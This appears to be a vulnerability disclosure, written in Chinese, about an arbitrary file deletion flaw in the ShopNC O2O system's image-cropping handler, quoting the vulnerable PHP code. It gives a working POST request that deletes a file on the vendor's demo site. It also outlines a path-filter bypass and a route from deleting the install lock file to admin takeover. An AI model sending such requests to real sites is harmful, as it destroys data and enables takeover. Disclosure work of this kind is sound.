### 简要描述:
齐博齐博快确认,确认了我再送个0day~
shopNC的任意文件删除挺多的,我拿O2O系统来说明问题吧。
### 详细说明:
/circle/control/cut.php 46行
```
/**
* 图片裁剪
*
*/
public function pic_cutOp(){
import('function.thumb');
if (chksubmit()){
$thumb_width = $_POST['x'];
$x1 = $_POST["x1"];
$y1 = $_POST["y1"];
$x2 = $_POST["x2"];
$y2 = $_POST["y2"];
$w = $_POST["w"];
$h = $_POST["h"];
$scale = $thumb_width/$w;
$src = str_ireplace(UPLOAD_SITE_URL,BASE_UPLOAD_PATH,$_POST['url']);
if (!empty($_POST['filename'])){
$save_file2 = BASE_UPLOAD_PATH.'/'.$_POST['filename'];
}else{
$save_file2 = str_replace('_small.','_sm.',$src);
}
$cropped = resize_thumb($save_file2, $src,$w,$h,$x1,$y1,$scale);
@unlink($src);
$pathinfo = pathinfo($save_file2);
exit($pathinfo['basename']);
}
$save_file = str_ireplace(UPLOAD_SITE_URL,BASE_UPLOAD_PATH,$_GET['url']);
$_GET['x'] = (intval($_GET['x'])>50 && $_GET['x']<400) ? $_GET['x'] : 200;
$_GET['y'] = (intval($_GET['y'])>50 && $_GET['y']<400) ? $_GET['y'] : 200;
$_GET['resize'] = $_GET['resize'] == '0' ? '0' : '1';
Tpl::output('height',get_height($save_file));
Tpl::output('width',get_width($save_file));
Tpl::showpage('cut','null_layout');
}
```
如上,获取了$_POST['url']并传入unlink函数,导致任意文件删除漏洞。
我看了其他几处unlink,发现都有str_replace('..','',$src);,而这一处没有。我还顺便提供一个str_replace('..','',$src);的绕过方法吧,因为这里的删除代码是unlink($src);,$src如果是绝对路径的话,不需要..做跳转,所以也就能绕过这个str_replace。不过得先知道网站绝对路径才好(不过有个位置确实能爆绝对路径,不用开启php报错),这里不提,单说/circle/control/cut.php的任意文件删除。
官方测试站:http://www.o2olive.net/demo
为了测试而且不破坏网站,我注册一个用户,上传一个头像,并删除之,来演示文件删除漏洞。
[<img src="https://images.seebug.org/upload/201410/23122648c20218311949394d7ac04b18cb7bac9d.jpg" alt="005.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/23122648c20218311949394d7ac04b18cb7bac9d.jpg)
上传头像,地址为
http://www.o2olive.net/demo/datahttps://images.seebug.org/upload/shop/member/avatar_375.jpg
发送如下数据包删除之:
http://www.o2olive.net/demo/circle/index.php?act=cut&op=pic_cut
POST:form_submit=ok&url=../datahttps://images.seebug.org/upload/shop/member/avatar_375.jpg&w=1
[<img src="https://images.seebug.org/upload/201410/231227242d5cf78422f99aa92a4a2675159df67e.jpg" alt="006.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/231227242d5cf78422f99aa92a4a2675159df67e.jpg)
再看发现已经404了:
[<img src="https://images.seebug.org/upload/201410/23122748f33723812d9b30d939def333381b2323.jpg" alt="007.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/23122748f33723812d9b30d939def333381b2323.jpg)
通过任意文件删除漏洞,可以删除/install/lock文件,导致系统重装,获得管理员权限,并进一步提权。
### 漏洞证明:
见详细说明
暂无评论